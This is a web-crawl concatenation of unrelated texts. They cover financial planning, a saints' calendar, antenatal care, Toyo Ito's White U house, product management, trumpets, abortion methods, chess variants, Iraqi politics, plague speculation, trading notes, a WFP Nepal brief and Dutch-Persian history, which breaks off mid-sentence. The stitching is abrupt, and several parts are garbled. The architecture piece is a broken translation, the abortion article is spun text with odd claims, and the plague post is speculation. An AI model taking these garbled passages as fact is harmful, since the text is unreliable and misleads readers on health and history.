Often there are many financial steps to take when a person passes away. A financial planner can help you walk through these steps and think through your options, while encouraging you to take your time on major financial decisions. A change in health status may also create new financial decisions, ones that have never been on the table before. Partnering with a team of professionals during these times may help to ensure that you make wise decisions during a time of crisis.
As the quote from François de la Rochefoucauld says, “The only thing constant in life is change,” and it’s true. When life’s big changes come, make sure your financial planning team knows. Remember, they can’t help you towards your goals when they aren’t kept in the loop about big changes.
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Today's feastsAugust 17: Afterfeast of the Dormition; Martyr Myron the Presbyter of Cyzicus; Martyrs Straton, Philip, Eutychian, and Cyprian of Nicomedia; Martyrs Thyrsus, Leucius, and Coronatus, with others at Caesarea in Bithynia; Martyrs Paul and his sister Juliana of Syria; Martyr Patroclus of Troyes; Saint Alypius the Iconographer of the Kiev Caves; Saint Philip, monk of Yankov (Vologda); New-Martyr Demetrius of Samarina in Epirus; Blessed Theodoretus, Enlightener of the Lapps (Solovki); Saint Christodule the Philosopher of Georgia; Saint Leucius of Volokolamsk; Saint Philip of Sukhona; Priest-Martyr Jeroen; Saint James, Hierodeacon of York; Icons of the Most Holy Theotokos of Armatia, of Sven (see also May 3), and of the Kiev Caves; repose of Schemamonk Onuphrios of Valaam
The V. Rev. Raphael Morgan was a Jamaican-American priest of the Ecumenical Patriarchate, later the founder and superior of the Order of the Cross of Golgotha, and thought to be the first black Orthodox clergyman in America. Having recently been discovered, his life has garnered great interest, but much of his life still remains shrouded in mystery.
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Our maternity unit at Women’s Hospital gives expectant parents an opportunity to meet experienced obstetricians and gynaecologists on a one-to-one basis before the birth of their baby.
Women are offered antenatal checkups usually monthly in their early pregnancy, fortnightly after 28 weeks and weekly after 34 -35 weeks.
We offer them full range of blood investigations called the antenatal profile along with thyroid and diabetes screening with 50 grams of oral glucose.
Our fully equipped sonography unit with six modern ultrasonography and Doppler machines and one 3D and 4D machine gives the obstetric team an opportunity to assess the growth, heartbeats and blood flow to the baby. The parents can actually see their unborn wonders kicking, sucking , moving and doing all sorts of playful activity in the mothers’ womb. A CD of the same is provided for them to enjoy it with their family members at home.
A detailed ultrasound scan is done in the first , second, and third trimester and more frequently, if required , as in cases of oligohydramnios, pregnancy induced hypertension, intra uterine growth retardation and other obstetric and medical complications or if the doctor feels so.
In the later weeks of pregnancy, we do a functional assessment of the baby’s heartbeats with a cardiotocograph and if required, a colour Doppler test of the baby’s major blood vessels.
Immunization against tetanus by giving two shots of tetanus toxoid injections spaced over 4 to 6 weeks is done during the antenatal period. In cases where the Rh blood group of the parents does not match , injection anti-D is given. Adequate haemaitinics and calcium coverage is done during the antenatal period.
When to come to hospital for Antenatal Care?
When it is time to come to hospital, please give a call at the hospital telephone numbers or any of your consultant obstetricians. It is important that you call and come up immediately if
- your membranes have ruptured and you are leaking watery fluid
- your contractions have started even if you are not due
- you are experiencing blood loss
- you have not felt any movements or decreased movements
- if you have any other concerns
Where and how to come for Antenatal Care?
Report at the front reception desk or in case of emergency wherever your consultant doctor advises you. There is round the clock expert gynaecologist’s service available in case of emergency. You can book for the ambulance in advance at our reception in case you do not have your own conveyance.
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White U, also known as House in Nakano, is one of the most respected architect Toyo Ito.
It was designed for older sister, who had just lost her husband to cancer. The client and his family lived until then in a skyscraper in the city. After the death of her husband, the widow requested that the architect built a house for herself and her young daughters where they could enjoy the contact with the soil and nature. He also suggested that the house had the form of L so that family members may have visual contact between them. Coincidentally, the site next to the architect’s house was for sale, this being the place where the widow had lived before marrying. It was there where he built the house.
Twenty years later, the family was willing to establish their links with the outside world, leaving the house. In 1997, was demolished in the eyes of Toyo Ito.
The house was located in the suburb of Nakano, Tokyo, on a site between medians.
This book distinguishes the symbolic value of Japanese architecture.
White U is not only a house is a house for mourners.
In talks with the architect’s widow, the emphasis on the organization of functional spaces began to disappear and instead turned more towards the symbolic value of space. So, the house changed its original form of L to become a U-shaped building, an approach that would create greater effects of light and a stronger relationship between the inhabitants.
The project involved the use of underground space. The lighting is different from what is traditionally conceived, being featured in the current generated in the spaces.
The organization was established in U-shaped with two large movements. One led to the bedrooms of daughters and the other, through the kitchen and bathroom, the bedroom of the mother.
The circulations were dark and directed towards a common space bright. This multipurpose space used for play, eat and meditate, had its walls, ceiling and floors (with rugs) white.
The rest of the house lit up with cracks in the ceiling, directing light in a straight diagonal line. The light gave the space a smooth texture, enhanced by the whiteness of the interior, which looks flat and three-dimensional, like a screen where images and shadows of people projected.
From U-shaped part, generated a central courtyard, an important part of the relationship with nature sought in this work.
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The roles and responsibilities of a product manager and a project manager can vary wildly from industry to industry and even company to company. However, do not let this shifting definition confuse you — they still have their differences, and both are vital to the success of a business. Generally, a project manager is in charge of making sure projects are completed according to a schedule, while a product manager is responsible for the development of a product from beginning to end. Here at Pantheras, we offer our services as an expert product management consulting agency.
Still unsure which one you need? We will take an in-depth look at the differences between product manager vs. project manager in order to help you figure out who you need to hire for your business.
The goal of the project manager is the completion of a project. It does not matter what the project is specifically — it can be anything from a year-long design phase to the construction of a building and even internal projects (e.g. building a back-end tool for a company). What matters to the project manager is overseeing their project to its completion within the defined scope, budget, and schedule. They keep track of resources, communicate with the people involved, ensure progress fits within the time constraints, and listen to the interests and directives of stakeholders.
A project manager does not need to answer the “what” and “why” of the project they handle. They just need to concern themselves with the “when” and the “how.” In project management, it is all about day-to-day minutiae, a constant stream of checking boxes on a to-do list.
The product manager, on the other hand, is all about the “whats” and “whys.” Their aim is to create a product and see it through to its completion. A product manager always has to keep the big picture in mind — they need to research their market, brainstorm product ideas, and present their ideas to stakeholders. They decide the features of the product and how to best implement them. When they have a product they want to market, they have to be able to communicate their vision to stakeholders and convince them of its merits. After it has been approved, the product has to be built to specification. While a project manager typically has to work within a defined scope, a product manager instead constantly evaluates the budget and the timeline during development and adjusts it when necessary.
When the product hits the market, the product manager is also responsible for monitoring sales and customer feedback for knowledge they can use in future product development.
At Pantheras, we know the market intimately, with over twenty years of experience in various sectors. No matter your product, your market, or your desired outcomes, our product consulting experts can deliver tailor-made solutions. We offer the following services:
The differences between a product manager vs. a project manager lie primarily in their functions and responsibilities. A project manager is handed a project to deliver — they break down the overall goal into smaller tasks, plan the timeline of the project, allocate the resources needed, monitor the completion of the various tasks involved, communicate progress to stakeholders, and most importantly, ensure that the project is completed in time. A product manager creates a product from the ground up — they conduct market research, set the product vision (including all the nitty-gritty details of who, what, when, where, why, and how), communicate that vision to stakeholders, develop a strategic plan, oversee the creation of the product and adjust the plan when necessary, and monitor how well the product does on the market afterward.
In addition, the project manager typically has an inward, detail-oriented outlook (coordinating with internal teams and managing deadlines) that has to follow a defined plan. The product manager, in contrast, has an outward, strategic, and high-level outlook (researching the market, the customers, the competitors) that has to be flexible in order to keep up with constantly shifting market demands.
While we can continue to draw lines between their definitions, in reality, it is rarely clear-cut. Some businesses use the terms interchangeably, in others, there is a significant overlap between the roles. However, at the end of the day, both types of managers are vital to the success of a business — product managers can tell you what to build and why, and project managers can figure out how to build it.
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There are loads of trumpets buyers can choose from, but only a few can recognize the true quality of a trumpet. For those who are music enthusiasts or music instructors, great quality instruments are necessary because it really makes a big difference every time they play music. It has something to do with the sound it produces. In whatever we buy, we always consider the quality, because it matters the most. That is why, if you own quality trumpets, the Bach Stradivarius Trumpet should be one of them.
The man responsible for designing the Bach Stradivarius Trumpet is Vincent Bach and thus the name suggests. This type of trumpet is considered a true American Classic. When it comes to great trumpet brands, it is best advised not only to rely on the name and the physical aspect. Rather, consider the quality of sound and how it is being played. If you wish to hear a good sound trumpet or rather you want to experience playing it, the Bach Stradivarius Brand can fulfill your desire.
Bach Stradivarius Trumpet
The Bach Stradivarius Trumpet is popularly known all over the world because this instrument can be mostly seen being used by professional musicians at world-class events. If you are a good trumpet player and you know how to produce good sounds, this Bach Trumpet can add up to the quality of notes you play, specifically classical genres.
Buying a trumpet is never been easy but the rules for selecting a good quality trumpet are just like buying other musical instruments. You touch the surface, you find the name, you identify the parts, you test it, and you determine the price. The physical appearance speaks about the finishing and how it was made. Is it good-looking or not? The name simply speaks about the brand just like with the Bach Stradivarius Trumpet. You test the sound so that you may know how the feeling is hearing the sound and the price will determine your budget. If you know how the Bach Stradivarius costs, you can prepare money for it if you really want to. If you are a trumpeter and you want to help your fellow aspirants in choosing the best instrument, you can refer to these easy to blow Bach Trumpets.
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Many individuals still consider abortion a taboo not only in the culture, however in most communities also. Even medical abortion, which is taken care of mainly by doctor with adequate academic history and also experience in such type of clinical surgery and also that are well-considered certified to facilitate such procedure, does rarely fulfill the needs of the law’s demand for ethical standards, and also the faithful’s belief for morality. Therefore, for individuals who have attempted themselves to think about the option see abortion facilities as evasive places to look for help from. Some women take the matter right into their own hands; they learn to try the unusual ones, risking their wellness – and also also their lives and of the lives they lug in their wombs.
One type of abortion that is not very common to all is the consumption of organic medicine which is stated to cause losing the unborn baby. It is a very refined means of terminating maternity. This method was commonly used during the old times when women had much more power in the family, when women had the last word regarding their legal rights to abortion or pregnancy. Natural herbs utilized are, of course, not sold in pharmacies however are distributed through below ground services. Nowadays, in the patriarchal world that we reside in today, the stated practice is not commonly made use of anymore due to the development of even more proficient and also technical procedures in abortion centers.
When it come to this traditional method, it has to be done as early as menstruation is suspended up until the fourth week of pregnancy. Failed herbal abortion may cause birth defects to babies. That’s why abortion carried out in licensed abortion centers is still better (despite it being questionable) than the others.
It is given that not everybody learns about this method. From the title of this short article itself, it is unusual. This method was rarely taken advantaged by females as a result of the sensitivity of the topic. The procedure appeared so evasive. So exactly how does menstrual removal work?
This procedure was discovered in the 1970s prior to abortion was formally legalized. Aside from terminating maternity, it also puts on hold menstrual cycle for females that want to spend romantic minutes with their partners. All the pointed out results happen through making use of the Del-Em menstruation extraction package uncovered by Carol Downer and Lorraine Rothman, creators of the Feminist Women’s Health Center. They sustain abortion rights of ladies. Given that abortion was not yet legalized that time, the procedure had not been done inside abortion clinics. Instead, they were carried out in the health centers they launched to organize.
Much like herbal abortion, menstruation extraction can only be carried out during the initial 2 months of maternity. Also, the said treatment can not be done alone, however with the help of somebody who knows of the extraction.
Amongst the stated unusual approaches of abortion and the one that we have today in our area, professional abortion still remains to be the best pregnancy termination method there is for females. A lady who seeks assistance from people operating in accredited abortion clinics are guaranteed of protection in terms of psychological as well as physical health and wellness, as well as personal privacy included.
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- Herichess. A variant on a board in the shape of the English Heritage logo. (14x14, Cells: 112) By Charles Gilman.
- HexChess-Kirby's. Missing description (Cells: 313) By Steve Kirby.
- Hoplit Chess. Introducing the Hoplit, a very mobile modern relative of the Korean cannon, on an H-board (zrf available). By M Winther.
- Hoplomach Chess. Introducing the Hoplomach, a dynamic bifurcation cannon, related to the Korean cannon, on an H-board (zrf available). By M Winther.
- Howitzer Chess. Introducing another piece named Howitzer, a fearful form of cannon, on the H-board. For the advanced tactician. With zrf. By M Winther.
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Iraq's long-debated new election law that was for months deliberated upon, delayed and then finally passed two weeks ago was hailed at the time as a monumental moment. Its approval by parliament was seen as critical for stability and the withdrawal of US troops.
But not so fast. Just days after its passing, the law was brought back to the drawing board after Iraqi vice-president Tariq al-Hashimi used his veto. Hashimi, one of three members of Iraq's presidency council with the right to veto bills, wanted more parliamentary seats for Iraqis who have left the country. The law originally guaranteed 5% of seats devoted to them but Hashimi wanted 15%.
Yesterday, parliament convened again and the law was amended and passed so that exiled Iraqis will be treated like their domestic counterparts and will, instead of having seats reserved for them, have their votes counted in their home province. Parliamentary seats will be allotted in accordance with the 2005 trade ministry population statistics (used in that year's national elections), plus 2.8% annual growth.
The law in its earlier form used the 2009, not 2005, trade ministry figures for the purposes of allotting seats, but the figures showed a peculiarly disproportionate population increase in Arab-dominated areas and little or no increases in Kurdish ones. It was thus met with opposition by the Kurdistan regional government (KRG), which threatened to boycott the elections in response.
The concerns were not misplaced. Without a credible census in Iraq it is hard to accept the trade ministry figures at face value. Iraq was supposed to have a census back in October but, like all things in the country, it has been postponed. This is not, in any case, just a KRG or Kurdish concern. The move by parliament was a progressive and equitable one overall that had the support of the vast majority of Kurds and Shias.
However, the newly approved mechanism for allocating seats means that Sunni-dominated areas will have fewer seats than they originally did, particularly in areas such as Ninewa, which continues to be a seat of Arab-Kurd tensions. The Kurds will have more seats, while Shia-dominated areas will be less represented, though they will still constitute the majority of seats.
Sunni MPs walked out in protest. Hashimi will be under even greater pressure than before to use his power of veto. Should he take this course, then parliament can override it in the event it can muster a three-fifths majority.
Pressing ahead despite the protests from parliament's Sunni Arabs, who are not looking too good in front of their followers, could taint the elections, depending on what action they take in response. It is unlikely that they will be reckless enough to make the same mistake twice by boycotting the elections (though Hashimi did take part in the 2005 elections despite the nationwide boycott by his fellow Sunni Arabs – a move seen by many as reflecting a desire for power and opportunism).
What these developments highlight is the sheer incompetence of some of Iraq's politicians. Figures relating to the distribution of seats, at the heart of it all, were available and could have been consulted during parliamentary sessions long before the law was passed. Iraqis will now start questioning whether more sinister plots are behind the electoral fiasco – and who could blame them?
It is now unlikely elections will go ahead in January, but this does not seem to be bothering Iraq's politicians much. Still, while deliberating over the election law they did achieve one result: the passing of a new law that grants them a substantial salary increase and lavish perks. | <urn:uuid:3cdcf5c8-73f9-4883-860c-11b4d6f63457> | CC-MAIN-2022-33 | https://www.theguardian.com/commentisfree/2009/nov/24/sorry-state-iraqi-politics | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882572033.91/warc/CC-MAIN-20220814113403-20220814143403-00272.warc.gz | en | 0.977827 | 723 | 2.171875 | 2 |
The two reports this morning of sudden waves of deaths in Russia in December from cold and/or respiratory complaints and Klebsiella pneumonia both sound more like residual incidences of pneumonic plague. As far as I’m aware (visibility down to three metres this morning), kids don’t usually get Klebsiella (which resembles the plague), and both cases remind me more of reports in Sam Cohn’s The Black Death Transformed: Disease and Culture in Early Renaissance Europe () of the Manchurian plagues of 1911 and 1922, when high tarabagan (row 10) skin prices caused an influx of large numbers of inexperience trappers, who lived in freezing, dirty, unventilated huts and perished with similar symptoms as a consequence. Interestingly, Russia is one of the states listed by Jane’s Defence as having supplies of the bacterium, and Sverdlovsk was hit back in 1979 by an anthrax (sorry, tainted meat) epidemic. Got a nasty cough myself, I have.
- Is the Cibber piper in the V&A a notorious plague-pit drunkard?
Featuring O du lieber Augustin, the Thomases Dekker and Middleton, Daniel Defoe and various disreputable beggars and foreigners.
- The satyr’s head and 1680 Bagnigge House plaque at 61-63 Kings Cross Road
An explanation, featuring the 17th century goldsmith Simon Thriscrosse, Bagnigge Wells Spa, and, for idle googlers, Nell Gwyn.
- Murder of Theo van Gogh by Muslim extremist
De Telegraaf draws a link between the murders of Pim Fortuyn and, this morning in Amsterdam, of Dutch polemicist and director,
- The green of the louse/Lo verde del piojo
An etymological hop from kite-flying with Juan Marsé back to Concha Piquer’s greatest hit.
- April 15th 1904: death and liquid meat in Barcelona
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Energy prices are smoking hot
The Chart Of The Week is UK Natural Gas. Nearby futures hit All-Time highs in August – then quadrupled from there by early this week – only to fall in half by Friday (Putin indicated that Russia could increase supply.)
New York Natural Gas nearby futures more than quadrupled from last year’s lows – more than doubled since June. North American Natgas prices are less than half European and Asian prices, but there is no easy Arb – there is not enough capacity to move LNG across the oceans to balance the different market prices. (So – don’t buy NY Natgas just because European Natgas is going ballistic – they are two very different markets.)
WTI nearby futures have rallied nearly 30% in the last seven weeks – hitting $80 for the first time in seven years.
The uranium ETF doubled from January to September – hitting 7-year highs.
Even “dirty” coal has soared in price this year. China ordered local producers to ramp up production and decided to start buying coal from Australia (after banning Aussie coal earlier this year.) India, where 60 -70% of total electrical generation comes from coal-fired plants, is desperately short of coal.
High prices are the best remedy for high prices
High prices (usually) dampen demand and bring forth supply. OPEC+ had the opportunity to raise their production quotas by more than the pre-planned 400,000BBL at their last meeting – but they didn’t. However, it’s easy to imagine that some OPEC+ producers will ramp up production. Canada is increasing exports to the US (chart below in the section on the CAD.) American frackers, funded with private equity, will increase production, and high prices will dampen demand – in the short term.
These folks want to stop the use of fossil fuels. They want governments around the world to set firm timelines to ban the use of FF. They believe that the dangers from climate change are significant enough to warrant a “transition” to non-FF energy sources that will be disruptive, messy, volatile, incredibly expensive and inflationary.
Pension funds (including the BIG ones in Canada) are dumping FF investments according to their ESG mandates. People who don’t mind social disapproval may see this as an opportunity – if they think that FF supply shortages, relative to demand, will take FF prices higher during the global energy “transition” period.
Interest rates keep rising
The yield on the US 10Y Treasury ended the week at a 4-month high of 1.61% – up ~40 bp from the YTD lows made in August. Rising inflationary pressures, rising prices of tangible goods (commodities, real estate) and the likelihood of less Fed “Q” in the future pressured bond prices. For the last few weeks, stocks and bonds have both trended lower.
This is a chart of the long bond futures contract at the CBOT. Falling prices mean rising yields.
This is a chart of the famous 2-Billion Euro 100-year bond issued by Austria last year with a yield (at issue) of 0.88%. As interest rates have inched higher, prices on this bond have plummeted! Longer duration bonds make more “dynamic” price moves than shorter-duration bonds.
Stock indices hit a low early in the week and bounced
The Nasdaq (with a heavy weighting of long-duration tech stocks) has been the weakest of the major indices the past few weeks, but all of the major North American indices are down from their recent All-Time highs.
The US Dollar Index remains near 1-year highs
The USD has been strong against the Euro and the Yen the past few weeks. The CAD and the NOK have rallied against the USD on higher oil prices.
The CAD traded above 80 cents on Friday for the first time in two months as the Canadian September employment report was much stronger than the American report. Rising energy markets and rising commodity indices have also given the CAD a boost. Interest rates are higher in Canada than in the US, and the BoC looks set to continue with its tapering program. (Can 5Yyields = 1.26%, US 5Yyields = 1.06%.)
The new Enbridge Line 3 oil pipeline from Alberta to Wisconsin has begun operation and will significantly increase Canada’s ability to generate revenue from exporting crude to the USA. This increase in crude exports should be positive for Canada’s trade balance and, therefore, another boost for the CAD.
My short term trading
The only position I carried over from last week was long AUD calls. I closed the trade for a slight loss Friday. When I closed the trade, the AUD was about 20 ticks higher than when I entered the trade but time decay over the past two weeks resulted in a loss. I had been looking for the AUD to trade towards 74 cents (booming commodity markets and a nice double bottom), but it wasn’t happening, so I hit the sell button – the trade wasn’t working.
Part of my thinking on the AUD trade was that speculators were record short of the AUD – if it started to rally, those shorts might begin to cover, which could accelerate the rally. I may look for another opportunity to buy the AUD.
Last week, in the “On my radar” section, I wrote that the strong rebound in the stock indices on Friday, October 1, may have signalled the beginning of a bounce. I bought the S+P on Monday after the market dropped ~60 points from Friday’s close. I had a reasonably tight stop that nearly got hit overnight, but the trade looked great once the Tuesday day session began. I moved my stops higher to lock in a modest profit.
At Tuesday’s best levels, I was ahead ~70 points, and I thought if the market rallied above Friday’s strong close that it could run higher. I had to stay with the trade.
The market fell back from that 70 point gain late in the day, weakened more overnight, and stopped me out for only a 16 point gain.
I bought the S+P and the Nasdaq 100 mid-day Wednesday after the market had recovered from overnight lows and sold those positions for a decent gain on the Thursday opening. I ended the week flat. My P+L was up ~0.75% on the week.
On my radar
The popular thinking seems to be that inflation is running hotter than the Fed expected and will not be transitory. Inflationary pressures are coming from re-opening demand and supply chain shortages and the effects of “too much” monetary and fiscal stimulus. I wonder how much of that “popular thinking” is already in the price.
I’m happy to start next week with no position and watch price action with an open mind, but my bias is that the “energy crisis” headlines are the sort of thing that happens just before a correction.
I watched several excellent video interviews on Hedgeye this week that got me re-thinking my position on China. Is it possible that China is “fragile” in the Nassim Taleb sense of the word? The government is obsessed with control – and the market tends to believe that the Chinese government gets what it wants (at least within China.) What if that’s not true? Real estate accounts for ~70% of retail investment. The astonishing growth in China over the past 20 years has been debt-financed.
Does the ROW want to have less to do with China? Do you want to put your money / your people into China? (Think hostage diplomacy.) Does China want to have less to do with the ROW? China has been a big part of global GDP (and a HUGE part of commodity demand), but what if Xi leads China to withdraw (somewhat) into itself? What if the “China is going to take over the world” story is based upon a Potemkin Village?
Thinking about China in this way reminds me of how Japan was going to take over the world in the late 1980s – and didn’t. The parallels to today’s China may be weak on specifics, but I’m thinking in terms of market psychology, and we’ve seen this movie before.
His term is up at the end of January 2022 – Biden will soon have to re-appoint him or nominate someone new. If he is not re-appointed, then his replacement will likely be even more dovish on monetary policy (and more hawkish in terms of regulation.) In one of those Hedgeye interviews, Grant Williams wondered if maybe the Dems want to remake the Fed like Trump transformed the Supreme Court. Powell looked like a sure thing a couple of months ago, but with the trading scandals and Elizebeth Warren scolding him, maybe he’s a 50/50 bet now.
This photo and caption are from The Macrotourist.
Thoughts on trading
I spend a lot of time reading opinion pieces and research reports, watching market videos and listening to podcasts – but I’m not looking for buy and sell recommendations. I’m hoping to get an idea that will start me thinking about a market in a way that is new to me – an idea that will have me asking myself, “Where’s the trade?”
When I spoke at investment conferences, I knew that people wanted buy recommendations, especially recommendations that supported trades they had already made.
The problem with buy/sell recommendations is that they are only a tiny part of the trading process. There is SO much more to trading! For instance, How much do you buy? When do you buy? How do you execute the trade? What is your time horizon? What is your risk tolerance? What do you do as time passes and the market changes? What gets you out of the trade? Does the trade create a concentration problem?
I also spend a lot of time looking at charts. I especially like to create different “pair” charts (this comes from trading currencies a lot over the years.) For instance, I can look at the CAD in terms of the USD, but what does it look like in terms of the EUR, YEN, or AUD? What does the S+P look like in terms of a commodity index?
I can spend a lot of time doing these things and not find any good trading ideas. I’m ok with that. It’s part of my trading process.
Quotes from the notebook
Last week I wrapped up the Notes with a few quotes from my notebook. I’ve got 100s of quotes that I’ve collected over the years – maybe the quotes will become a regular feature.
Research is essential, but the tactics you use around the research are what makes money. Bill Fleckenstein RTV Jan 2020 (My comment: What you do with a trade once you have it on is more important than what got you into the trade in the first place.)
You gotta know when to be a pig. Stan Druckenmiller (I think that quote was in the first Market Wizards book. 1989.) (My comment: sometimes you have to step up your size. Rarely, but sometimes.)
Too many hedge funds are simply leveraged beta masquerading as alpha. Kevin Muir The Macrourist 2015 (My comment: Hedge funds travel in packs.)
It’s not a question of enough, Pal. It’s a zero-sum game. Someone wins. Someone loses. Money itself isn’t lost or made; it’s simply transferred from one perception to another. Gordon Gekko, Wall Street 1987 (My comment: I love this quote! Perceptions change. The trader with the correct perception, for that point in time, wins.)
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27.02 mt of food distributed
US$ 114,001 cash-based transfers made
US$ 5.87 million six-month net funding requirements (June - November 2022)
18,526 people assisted in May 2022
• Under the Climate Change Adaptation for Food Security in Karnali (CAFS – Karnali), 23 food-assistance-for-assets schemes were completed in May. Cash-transfers totalling NPR 9,664,181 was made to participants (54 percent women), allowing them to meet their immediate household needs while also promoting long-term food security and resilience through construction or rehabilitation of community assets.
• The Women in Value Chain (WiVC) project saw more than 650 smallholder farmers receive capacity strengthening trainings and orientations this month. Topics of focus in these events included agricultural technology, market information systems, and crop and livestock insurance. This project is aimed at rural women all along the value chain with the goal of improving conditions for their families, and ultimately transforming their communities.
• To ensure a successful transition of its emergency preparedness and response (EPR) project, WFP continues to conduct capacity building trainings and workshops for national authorities. In May WFP conducted two trainings – the first, a three-day pharmaceutical refrigerator operation training, and the second, a twoday temperature sensitive logistics training. Both trainings were conducted for representatives of the Ministry of Health and Population as well as UN agency staff, including the World Health Organisation (WHO) and UNICEF.
• In July 2022, WFP will transition two more districts – Jajarkot and Doti) food-based school meals districts to the Government’s cash-based modality. With this, WFP will have successfully transitioned seven districts and now cover 1,590 schools. Since 2019, the Government began taking over WFP’s food-based schools, funding and implementing it as a national programme independently.
• The mother and child health and nutrition (MCHN) programme continues in Province 1 and Madhesh Province. Under this programme, WFP concentrates its efforts where they will have the most impact, targeting children aged 06-23 months and pregnant and lactating women to prevent malnutrition. In addition to this, WFP also plays a leading role in bringing private sector partners together in the fight against malnutrition under the Scaling Up Nutrition movement (see page 2). | <urn:uuid:4676986f-aff5-49e0-9920-108fbc07f36b> | CC-MAIN-2022-33 | https://reliefweb.int/report/nepal/wfp-nepal-country-brief-may-2022 | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882573699.52/warc/CC-MAIN-20220819131019-20220819161019-00272.warc.gz | en | 0.953123 | 500 | 1.679688 | 2 |
DUTCH-PERSIAN RELATIONS, from the 16th century to the present, encompassing commercial, political, and cultural contacts, including Persian studies in the Netherlands. Until the 16th century the Dutch knew little of Persia and nothing of its language. Franciscus Raphelengius (1539-97), a professor at Leiden University, drew up a short list of Persian words based on the first Persian text ever printed, the translation of the Pentateuch published in Hebrew characters in Istanbul in 1546 (see BIBLE vii; ČĀP). Raphelengius called attention to the similarities between certain Persian and Dutch words, but until the older Iranian and Indian languages became known in the 19th century (see CODICES HAFNIENSES) this first attempt at comparative Indo-European linguistics could lead no farther. Joseph Scaliger (1540-1609), another Leiden professor, expanded Raphengelius’ list into a concise Persian-Latin vocabulary (Leiden University library, cod. ar. 267; de Bruijn, p. 166; cf. Emmerick). Although unpublished, it can be considered the first example of Persian academic studies in Europe.
For 136 years, from 1033/1623 to 1174/1759, the Vereenigde Oostindische Compagnie (V.O.C., Dutch East Indies company) was the most important single foreign trading firm in Persia (e.g., Thévenot, II, p. 138), though it did not, of course, go unchallenged, particularly by the British East India Company. Dutch documents on relations with Persia consist almost exclusively of V.O.C. records from the 17th and 18th centuries; except for the years 1623-38 (Dunlop, 1930), however, they have not been published, though a few studies have been based on them (Floor, 1978b; idem, 1979b; idem, 1980; idem, 1983c; idem, 1987). Most are kept in the national archives (Algemeen Rijks Archief) in the Hague, including the 19th- and 20th-century Dutch legation files (Gast). Some reports, journals, and letters by individual Dutch travelers to Persia have also been published (e.g., Hotz, 1908; Roobacker; van Dam; Valentijn; Floor, 1979a; idem, 1982b; idem, 1982c; idem, 1984; idem, 1365 Š./1986). Nevertheless, it is surprising, in view of the long and substantial presence of the V.O.C. in Persia, that so few Dutchmen wrote about their experiences; on the other hand, various staff members were instructed to buy Persian manuscripts and to collect indigenous herbs for shipment to the Netherlands (Valentijn, p. 242).
There is also very little information about the Dutch, occasionally called Valandīs or Holandīs, in Persian sources, perhaps because many state records were destroyed by the Afghans in the mid-18th century and also perhaps because merchants were of little interest to the Persian upper classes. That Persians visited the Netherlands is clear from François Valentijn’s remark that he “need not describe the Persians, neither how they are dressed nor their nature, because there are many of them in Amsterdam, where one can see them every day” (V, p. 208).
The reign of Shah ʿAbbās I (996-1038/1588-1629). Foremost among Dutch travelers who contributed to diffusion of knowledge about Persia was Jan van Linschoten (1563-1611), whose account of his voyage in 1589 was influential throughout Europe. Visits to the Netherlands in 1016/1607 by Shah ʿAbbās’ ambassador Zayn-al-Dīn Beg and in 1020/1611 by Robert Sherley, who was seeking to promote military and commercial relations between Persia and Europe, whetted an interest in Persian silk (Dunlop, 1930, pp. 1-3; Chronicle,I, p. 170; Glamann, p. 112; see ABRĪŠAM). Nevertheless, because the V.O.C., which had been founded in 1602, was at first preoccupied with fierce commercial competition with the Portuguese and British in southeast Asia, it was unable to act on its intentions in Persia until 1031/1622, when the East India Company drove the Portuguese from their base on Hormuz. The V.O.C. was quick to take advantage of the new opportunities: In 1033/1623 Huybert Visnich, an experienced merchant, arrived to establish a trading station in Isfahan (Lockhart, p. 381; Gaube and Wirth, p. 282; for a description, see Hotz, 1908, pp. 136-37 n. 138) and to conclude a commercial treaty with the shah (Meilink-Roelofsz, p. 11). The latter saw the Dutch as an outlet for Persian products, thus providing an additional and immediate source of precious metals, whereas the V.O.C. officials saw Persia mainly as a link in the larger Asian trade. On 30 Moḥarram 1033/17 November 1623 the shah signed a treaty granting the V.O.C. the right to import into Persia a specified quantity of selected products at fixed prices and toll free. In return he was to supply the Dutch with a fixed quantity of silk at higher-than-market price, which was 50 tomans per carga (ca. 300 lbs.; Dunlop, 1930, pp. 677-82; Meilink-Roelofsz, pp. 18-19; Heeres, I, pp. 186-91). The firm opened a rest house in Lār for Dutch caravans plying between Isfahan and the coast (Hotz, 1908, p. 47).
The East India Company repeatedly attempted to interfere with V.O.C. trade in Persia, for example, pressing a claim to 50 percent of the tolls from Hormuz/Gombroon (see BANDAR-E ʿABBĀS) under a treaty signed with Persia in 1032/1622; owing to Visnich’s excellent relations with the shah and Emāmqolī Khan, governor of Fārs, these efforts were unsuccessful, however. Nevertheless, as the V.O.C. was generally short of cash, Visnich was forced to remit less for the silk than he was supposed to, despite the protests of Molayem Beg, the shah’s factor and mint master (Ferrier, p. 62 fig. 7). Eventually the shah had to intervene personally (Meilink-Roelofsz, pp. 20, 22); over the objections of the V.O.C. he sought to establish closer political relations with the Dutch government by sending one Mūsā Beg as his ambassador to the Hague. Mūsā Beg embarked with several merchants carrying silk for sale in the Netherlands on 2 Jomādā I 1034/10 February 1625, on a company ship sailing via Batavia. The mission was not very successful diplomatically, commercially, or personally, and Mūsā Beg was forced to leave the Netherlands, embarking on 14 March 1627 for the return trip by way of Java and India. He was accompanied by Jan Smidt, ambassador of both the Estates-General and the V.O.C. (Floor, 1978a, pp. 40-58; Vermeulen, 1975-78b).
Meanwhile, in 1035/1626 Visnich had concluded a three-year contract with Molayem Beg for annual V.O.C. payments of 40,000 tomans (Dfl. 1.6 million), one-fourth in cash, the rest in specified goods at fixed amounts, in return for silk (Dunlop, 1930, pp. 184-86). The most important commodity to be provided by the V.O.C. was pepper: 750,000 pounds at 12,000 tomans. The most important exchange commodity was specie (gold and silver), which the Dutch exported from Persia illegally at first. Other Persian exports included small quantities of all kinds of dried fruit, pistachios, almonds (see BĀDĀM), hazelnuts, madder (see CARPETS ii), wine and rose water from Shiraz, and medicinal drugs. V.O.C. imports to Persia, aside from pepper, were considerable and varied: spices, textiles, tin, camphor, Japanese copper, powdered and lump sugar, zinc, indigo, sappanwood, chinaroot (Smilax china, Pers. čūb čīnī), gum lac, benzoin, iron, steel, and sandalwood. Trade was conducted through brokers, and merchants usually received credit; a variety of drafts, money orders, and the like were used (Floor, 1978b, chap. 1). Molayem Beg did not find the contract to his advantage, however, and Visnich himself did not comply with its terms, continuing to turn over less cash than was due or even none at all. His relations at court were still strong enough to protect him from Molayem Beg (Steensgaard, p. 383; Meilink-Roelofsz, pp. 22-23), but Smidt, who arrived on 14 Rajab 1038/8 February 1629, listened favorably to Visnich’s detractors and the allegations of British rivals and 